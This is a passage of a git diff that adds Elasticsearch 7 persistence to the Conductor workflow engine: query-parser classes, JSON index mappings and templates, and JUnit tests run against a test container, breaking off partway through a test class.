peeked[0] == '<') { + this.value = new String(peeked, 0, 1); + } else if (peeked[0] == 'I' && peeked[1] == 'N') { + this.value = "IN"; + } else if (peeked[0] == 'I' && peeked[1] == 'S') { + this.value = "IS"; + } else if (peeked[0] == '!' && peeked[1] == '=') { + this.value = "!="; + } else if (peeked.length >= betweenLen + && peeked[0] == 'B' + && peeked[1] == 'E' + && peeked[2] == 'T' + && peeked[3] == 'W' + && peeked[4] == 'E' + && peeked[5] == 'E' + && peeked[6] == 'N') { + this.value = Operators.BETWEEN.value(); + } else if (peeked.length == startsWithLen + && new String(peeked).equals(Operators.STARTS_WITH.value())) { + this.value = Operators.STARTS_WITH.value(); + } else { + throw new ParserException( + "Expecting an operator (=, >, <, !=, BETWEEN, IN, STARTS_WITH), but found none. Peeked=>" + + new String(peeked)); + } + + read(this.value.length()); + } + + @Override + public String toString() { + return " " + value + " "; + } + + public String getOperator() { + return value; + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ConstValue.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ConstValue.java new file mode 100644 index 0000000..32fa2b1 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ConstValue.java @@ -0,0 +1,141 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren Constant value can be: + *

      + *
    1. List of values (a,b,c) + *
    2. Range of values (m AND n) + *
    3. A value (x) + *
    4. A value is either a string or a number + *
    + */ +public class ConstValue extends AbstractNode { + + public static enum SystemConsts { + NULL("null"), + NOT_NULL("not null"); + private String value; + + SystemConsts(String value) { + this.value = value; + } + + public String value() { + return value; + } + } + + private static String QUOTE = "\""; + + private Object value; + + private SystemConsts sysConsts; + + public ConstValue(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(4); + String sp = new String(peeked).trim(); + // Read a constant value (number or a string) + if (peeked[0] == '"' || peeked[0] == '\'') { + this.value = readString(is); + } else if (sp.toLowerCase().startsWith("not")) { + this.value = SystemConsts.NOT_NULL.value(); + sysConsts = SystemConsts.NOT_NULL; + read(SystemConsts.NOT_NULL.value().length()); + } else if (sp.equalsIgnoreCase(SystemConsts.NULL.value())) { + this.value = SystemConsts.NULL.value(); + sysConsts = SystemConsts.NULL; + read(SystemConsts.NULL.value().length()); + } else { + this.value = readNumber(is); + } + } + + private String readNumber(InputStream is) throws Exception { + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + is.mark(1); + char c = (char) is.read(); + if (!isNumeric(c)) { + is.reset(); + break; + } else { + sb.append(c); + } + } + String numValue = sb.toString().trim(); + return numValue; + } + + /** + * Reads an escaped string + * + * @throws Exception + */ + private String readString(InputStream is) throws Exception { + char delim = (char) read(1)[0]; + StringBuilder sb = new StringBuilder(); + boolean valid = false; + while (is.available() > 0) { + char c = (char) is.read(); + if (c == delim) { + valid = true; + break; + } else if (c == '\\') { + // read the next character as part of the value + c = (char) is.read(); + sb.append(c); + } else { + sb.append(c); + } + } + if (!valid) { + throw new ParserException( + "String constant is not quoted with <" + delim + "> : " + sb.toString()); + } + return QUOTE + sb.toString() + QUOTE; + } + + public Object getValue() { + return value; + } + + @Override + public String toString() { + return "" + value; + } + + public String getUnquotedValue() { + String result = toString(); + if (result.length() >= 2 && result.startsWith(QUOTE) && result.endsWith(QUOTE)) { + result = result.substring(1, result.length() - 1); + } + return result; + } + + public boolean isSysConstant() { + return this.sysConsts != null; + } + + public SystemConsts getSysConstant() { + return this.sysConsts; + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/FunctionThrowingException.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/FunctionThrowingException.java new file mode 100644 index 0000000..5fece41 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/FunctionThrowingException.java @@ -0,0 +1,22 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +/** + * @author Viren + */ +@FunctionalInterface +public interface FunctionThrowingException { + + void accept(T t) throws Exception; +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ListConst.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ListConst.java new file mode 100644 index 0000000..aa93945 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ListConst.java @@ -0,0 +1,70 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import java.io.InputStream; +import java.util.LinkedList; +import java.util.List; + +/** + * @author Viren List of constants + */ +public class ListConst extends AbstractNode { + + private List values; + + public ListConst(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = read(1); + assertExpected(peeked, "("); + this.values = readList(); + } + + private List readList() throws Exception { + List list = new LinkedList(); + boolean valid = false; + char c; + + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + c = (char) is.read(); + if (c == ')') { + valid = true; + break; + } else if (c == ',') { + list.add(sb.toString().trim()); + sb = new StringBuilder(); + } else { + sb.append(c); + } + } + list.add(sb.toString().trim()); + if (!valid) { + throw new ParserException("Expected ')' but never encountered in the stream"); + } + return list; + } + + public List getList() { + return (List) values; + } + + @Override + public String toString() { + return values.toString(); + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/Name.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/Name.java new file mode 100644 index 0000000..5c99445 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/Name.java @@ -0,0 +1,41 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren Represents the name of the field to be searched against. + */ +public class Name extends AbstractNode { + + private String value; + + public Name(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.value = readToken(); + } + + @Override + public String toString() { + return value; + } + + public String getName() { + return value; + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ParserException.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ParserException.java new file mode 100644 index 0000000..37f6826 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ParserException.java @@ -0,0 +1,28 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +/** + * @author Viren + */ +@SuppressWarnings("serial") +public class ParserException extends Exception { + + public ParserException(String message) { + super(message); + } + + public ParserException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/Range.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/Range.java new file mode 100644 index 0000000..36104de --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/Range.java @@ -0,0 +1,80 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class Range extends AbstractNode { + + private String low; + + private String high; + + public Range(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.low = readNumber(is); + + skipWhitespace(); + byte[] peeked = read(3); + assertExpected(peeked, "AND"); + skipWhitespace(); + + String num = readNumber(is); + if (num == null || "".equals(num)) { + throw new ParserException("Missing the upper range value..."); + } + this.high = num; + } + + private String readNumber(InputStream is) throws Exception { + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + is.mark(1); + char c = (char) is.read(); + if (!isNumeric(c)) { + is.reset(); + break; + } else { + sb.append(c); + } + } + String numValue = sb.toString().trim(); + return numValue; + } + + /** + * @return the low + */ + public String getLow() { + return low; + } + + /** + * @return the high + */ + public String getHigh() { + return high; + } + + @Override + public String toString() { + return low + " AND " + high; + } +} diff --git a/es7-persistence/src/main/resources/mappings_docType_task.json b/es7-persistence/src/main/resources/mappings_docType_task.json new file mode 100644 index 0000000..3d102a0 --- /dev/null +++ b/es7-persistence/src/main/resources/mappings_docType_task.json @@ -0,0 +1,66 @@ +{ + "properties": { + "correlationId": { + "type": "keyword", + "index": true + }, + "endTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "executionTime": { + "type": "long" + }, + "input": { + "type": "text", + "index": true + }, + "output": { + "type": "text", + "index": true + }, + "queueWaitTime": { + "type": "long" + }, + "reasonForIncompletion": { + "type": "keyword", + "index": true + }, + "scheduledTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "startTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "status": { + "type": "keyword", + "index": true + }, + "taskDefName": { + "type": "keyword", + "index": true + }, + "taskId": { + "type": "keyword", + "index": true + }, + "taskType": { + "type": "keyword", + "index": true + }, + "updateTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "workflowId": { + "type": "keyword", + "index": true + }, + "workflowType": { + "type": "keyword", + "index": true + } + } +} diff --git a/es7-persistence/src/main/resources/mappings_docType_workflow.json b/es7-persistence/src/main/resources/mappings_docType_workflow.json new file mode 100644 index 0000000..c249673 --- /dev/null +++ b/es7-persistence/src/main/resources/mappings_docType_workflow.json @@ -0,0 +1,82 @@ +{ + "properties": { + "correlationId": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "endTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis", + "doc_values": true + }, + "executionTime": { + "type": "long", + "doc_values": true + }, + "failedReferenceTaskNames": { + "type": "text", + "index": false + }, + "input": { + "type": "text", + "index": true + }, + "output": { + "type": "text", + "index": true + }, + "reasonForIncompletion": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "startTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis", + "doc_values": true + }, + "status": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "updateTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis", + "doc_values": true + }, + "version": { + "type": "long", + "doc_values": true + }, + "workflowId": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "workflowType": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "rawJSON": { + "type": "text", + "index": false + }, + "event": { + "type": "keyword", + "index": true + }, + "parentWorkflowId": { + "type": "keyword", + "index": true, + "doc_values": true + }, + "classifier": { + "type": "keyword", + "index": true, + "doc_values": true + } + } +} diff --git a/es7-persistence/src/main/resources/template_event.json b/es7-persistence/src/main/resources/template_event.json new file mode 100644 index 0000000..3a01503 --- /dev/null +++ b/es7-persistence/src/main/resources/template_event.json @@ -0,0 +1,48 @@ +{ + "index_patterns": [ "*event*" ], + "template": { + "settings": { + "refresh_interval": "1s" + }, + "mappings": { + "properties": { + "action": { + "type": "keyword", + "index": true + }, + "created": { + "type": "long" + }, + "event": { + "type": "keyword", + "index": true + }, + "id": { + "type": "keyword", + "index": true + }, + "messageId": { + "type": "keyword", + "index": true + }, + "name": { + "type": "keyword", + "index": true + }, + "output": { + "properties": { + "workflowId": { + "type": "keyword", + "index": true + } + } + }, + "status": { + "type": "keyword", + "index": true + } + } + }, + "aliases" : { } + } +} diff --git a/es7-persistence/src/main/resources/template_message.json b/es7-persistence/src/main/resources/template_message.json new file mode 100644 index 0000000..63d571a --- /dev/null +++ b/es7-persistence/src/main/resources/template_message.json @@ -0,0 +1,28 @@ +{ + "index_patterns": [ "*message*" ], + "template": { + "settings": { + "refresh_interval": "1s" + }, + "mappings": { + "properties": { + "created": { + "type": "long" + }, + "messageId": { + "type": "keyword", + "index": true + }, + "payload": { + "type": "keyword", + "index": true + }, + "queue": { + "type": "keyword", + "index": true + } + } + }, + "aliases": { } + } +} diff --git a/es7-persistence/src/main/resources/template_task_log.json b/es7-persistence/src/main/resources/template_task_log.json new file mode 100644 index 0000000..f7ec4bf --- /dev/null +++ b/es7-persistence/src/main/resources/template_task_log.json @@ -0,0 +1,24 @@ +{ + "index_patterns": [ "*task*log*" ], + "template": { + "settings": { + "refresh_interval": "1s" + }, + "mappings": { + "properties": { + "createdTime": { + "type": "long" + }, + "log": { + "type": "keyword", + "index": true + }, + "taskId": { + "type": "keyword", + "index": true + } + } + }, + "aliases": { } + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/config/ElasticSearchPropertiesTest.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/config/ElasticSearchPropertiesTest.java new file mode 100644 index 0000000..741ffcf --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/config/ElasticSearchPropertiesTest.java @@ -0,0 +1,38 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.config; + +import org.junit.Test; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +public class ElasticSearchPropertiesTest { + + @Test + public void testWaitForIndexRefreshDefaultsToFalse() { + ElasticSearchProperties properties = new ElasticSearchProperties(); + assertFalse( + "waitForIndexRefresh should default to false for v3.21.19 performance", + properties.isWaitForIndexRefresh()); + } + + @Test + public void testWaitForIndexRefreshCanBeEnabled() { + ElasticSearchProperties properties = new ElasticSearchProperties(); + properties.setWaitForIndexRefresh(true); + assertTrue( + "waitForIndexRefresh should be configurable to true", + properties.isWaitForIndexRefresh()); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/ElasticSearchRestDaoBaseTest.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/ElasticSearchRestDaoBaseTest.java new file mode 100644 index 0000000..f3389db --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/ElasticSearchRestDaoBaseTest.java @@ -0,0 +1,74 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.index; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.Reader; + +import org.apache.http.HttpHost; +import org.elasticsearch.client.Request; +import org.elasticsearch.client.Response; +import org.elasticsearch.client.RestClient; +import org.elasticsearch.client.RestClientBuilder; +import org.junit.After; +import org.junit.Before; +import org.springframework.retry.support.RetryTemplate; + +public abstract class ElasticSearchRestDaoBaseTest extends ElasticSearchTest { + + protected RestClient restClient; + protected ElasticSearchRestDAOV7 indexDAO; + + @Before + public void setup() throws Exception { + String httpHostAddress = container.getHttpHostAddress(); + String host = httpHostAddress.split(":")[0]; + int port = Integer.parseInt(httpHostAddress.split(":")[1]); + + properties.setUrl("http://" + httpHostAddress); + + RestClientBuilder restClientBuilder = RestClient.builder(new HttpHost(host, port, "http")); + restClient = restClientBuilder.build(); + + indexDAO = + new ElasticSearchRestDAOV7( + restClientBuilder, new RetryTemplate(), properties, objectMapper); + indexDAO.setup(); + } + + @After + public void tearDown() throws Exception { + deleteAllIndices(); + + if (restClient != null) { + restClient.close(); + } + } + + private void deleteAllIndices() throws IOException { + Response beforeResponse = restClient.performRequest(new Request("GET", "/_cat/indices")); + + Reader streamReader = new InputStreamReader(beforeResponse.getEntity().getContent()); + BufferedReader bufferedReader = new BufferedReader(streamReader); + + String line; + while ((line = bufferedReader.readLine()) != null) { + String[] fields = line.split("\\s"); + String endpoint = String.format("/%s", fields[2]); + + restClient.performRequest(new Request("DELETE", endpoint)); + } + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/ElasticSearchTest.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/ElasticSearchTest.java new file mode 100644 index 0000000..aa5b79f --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/ElasticSearchTest.java @@ -0,0 +1,66 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.index; + +import org.junit.AfterClass; +import org.junit.BeforeClass; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; +import org.testcontainers.elasticsearch.ElasticsearchContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.es7.config.ElasticSearchProperties; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@ContextConfiguration( + classes = {TestObjectMapperConfiguration.class, ElasticSearchTest.TestConfiguration.class}) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = {"conductor.indexing.enabled=true", "conductor.elasticsearch.version=7"}) +public abstract class ElasticSearchTest { + + @Configuration + static class TestConfiguration { + + @Bean + public ElasticSearchProperties elasticSearchProperties() { + return new ElasticSearchProperties(); + } + } + + protected static final ElasticsearchContainer container = + new ElasticsearchContainer( + DockerImageName.parse("elasticsearch") + .withTag("7.17.11")); // this should match the client version + + @Autowired protected ObjectMapper objectMapper; + + @Autowired protected ElasticSearchProperties properties; + + @BeforeClass + public static void startServer() { + container.start(); + } + + @AfterClass + public static void stopServer() { + container.stop(); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestBulkRequestBuilderWrapper.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestBulkRequestBuilderWrapper.java new file mode 100644 index 0000000..2709e39 --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestBulkRequestBuilderWrapper.java @@ -0,0 +1,50 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.index; + +import org.elasticsearch.action.bulk.BulkRequestBuilder; +import org.elasticsearch.action.index.IndexRequest; +import org.elasticsearch.action.update.UpdateRequest; +import org.junit.Test; +import org.mockito.Mockito; + +public class TestBulkRequestBuilderWrapper { + BulkRequestBuilder builder = Mockito.mock(BulkRequestBuilder.class); + BulkRequestBuilderWrapper wrapper = new BulkRequestBuilderWrapper(builder); + + @Test(expected = Exception.class) + public void testAddNullUpdateRequest() { + wrapper.add((UpdateRequest) null); + } + + @Test(expected = Exception.class) + public void testAddNullIndexRequest() { + wrapper.add((IndexRequest) null); + } + + @Test + public void testBuilderCalls() { + IndexRequest indexRequest = new IndexRequest(); + UpdateRequest updateRequest = new UpdateRequest(); + + wrapper.add(indexRequest); + wrapper.add(updateRequest); + wrapper.numberOfActions(); + wrapper.execute(); + + Mockito.verify(builder, Mockito.times(1)).add(indexRequest); + Mockito.verify(builder, Mockito.times(1)).add(updateRequest); + Mockito.verify(builder, Mockito.times(1)).numberOfActions(); + Mockito.verify(builder, Mockito.times(1)).execute(); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestElasticSearchRestDAOV7.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestElasticSearchRestDAOV7.java new file mode 100644 index 0000000..4bccf1d --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestElasticSearchRestDAOV7.java @@ -0,0 +1,523 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.index; + +import java.io.IOException; +import java.text.SimpleDateFormat; +import java.util.*; +import java.util.function.Supplier; + +import org.joda.time.DateTime; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.es7.utils.TestUtils; + +import com.google.common.collect.ImmutableMap; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +public class TestElasticSearchRestDAOV7 extends ElasticSearchRestDaoBaseTest { + + private static final SimpleDateFormat SIMPLE_DATE_FORMAT = new SimpleDateFormat("yyyyMMWW"); + + private static final String INDEX_PREFIX = "conductor"; + private static final String WORKFLOW_DOC_TYPE = "workflow"; + private static final String TASK_DOC_TYPE = "task"; + private static final String MSG_DOC_TYPE = "message"; + private static final String EVENT_DOC_TYPE = "event"; + private static final String LOG_DOC_TYPE = "task_log"; + + private boolean indexExists(final String index) throws IOException { + return indexDAO.doesResourceExist("/" + index); + } + + private boolean doesMappingExist(final String index, final String mappingName) + throws IOException { + return indexDAO.doesResourceExist("/" + index + "/_mapping/" + mappingName); + } + + @Test + public void assertInitialSetup() throws IOException { + SIMPLE_DATE_FORMAT.setTimeZone(TimeZone.getTimeZone("GMT")); + + String workflowIndex = INDEX_PREFIX + "_" + WORKFLOW_DOC_TYPE; + String taskIndex = INDEX_PREFIX + "_" + TASK_DOC_TYPE; + + String taskLogIndex = + INDEX_PREFIX + "_" + LOG_DOC_TYPE + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + String messageIndex = + INDEX_PREFIX + "_" + MSG_DOC_TYPE + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + String eventIndex = + INDEX_PREFIX + "_" + EVENT_DOC_TYPE + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + + assertTrue("Index 'conductor_workflow' should exist", indexExists(workflowIndex)); + assertTrue("Index 'conductor_task' should exist", indexExists(taskIndex)); + + assertTrue("Index '" + taskLogIndex + "' should exist", indexExists(taskLogIndex)); + assertTrue("Index '" + messageIndex + "' should exist", indexExists(messageIndex)); + assertTrue("Index '" + eventIndex + "' should exist", indexExists(eventIndex)); + + assertTrue( + "Index template for 'message' should exist", + indexDAO.doesResourceExist("/_template/template_" + MSG_DOC_TYPE)); + assertTrue( + "Index template for 'event' should exist", + indexDAO.doesResourceExist("/_template/template_" + EVENT_DOC_TYPE)); + assertTrue( + "Index template for 'task_log' should exist", + indexDAO.doesResourceExist("/_template/template_" + LOG_DOC_TYPE)); + } + + @Test + public void shouldIndexWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldIndexWorkflowAsync() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.asyncIndexWorkflow(workflowSummary).get(); + + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldRemoveWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + List workflows = + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + assertEquals(1, workflows.size()); + + indexDAO.removeWorkflow(workflowSummary.getWorkflowId()); + + workflows = tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 0); + + assertTrue("Workflow was not removed.", workflows.isEmpty()); + } + + @Test + public void shouldAsyncRemoveWorkflow() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + List workflows = + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + assertEquals(1, workflows.size()); + + indexDAO.asyncRemoveWorkflow(workflowSummary.getWorkflowId()).get(); + + workflows = tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 0); + + assertTrue("Workflow was not removed.", workflows.isEmpty()); + } + + @Test + public void shouldUpdateWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + indexDAO.updateWorkflow( + workflowSummary.getWorkflowId(), + new String[] {"status"}, + new Object[] {WorkflowStatus.COMPLETED}); + + workflowSummary.setStatus(WorkflowStatus.COMPLETED); + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldAsyncUpdateWorkflow() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + indexDAO.asyncUpdateWorkflow( + workflowSummary.getWorkflowId(), + new String[] {"status"}, + new Object[] {WorkflowStatus.FAILED}) + .get(); + + workflowSummary.setStatus(WorkflowStatus.FAILED); + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldIndexTask() { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + List tasks = tryFindResults(() -> searchTasks(taskSummary)); + + assertEquals(taskSummary.getTaskId(), tasks.get(0)); + } + + @Test + public void shouldIndexTaskAsync() throws Exception { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.asyncIndexTask(taskSummary).get(); + + List tasks = tryFindResults(() -> searchTasks(taskSummary)); + + assertEquals(taskSummary.getTaskId(), tasks.get(0)); + } + + 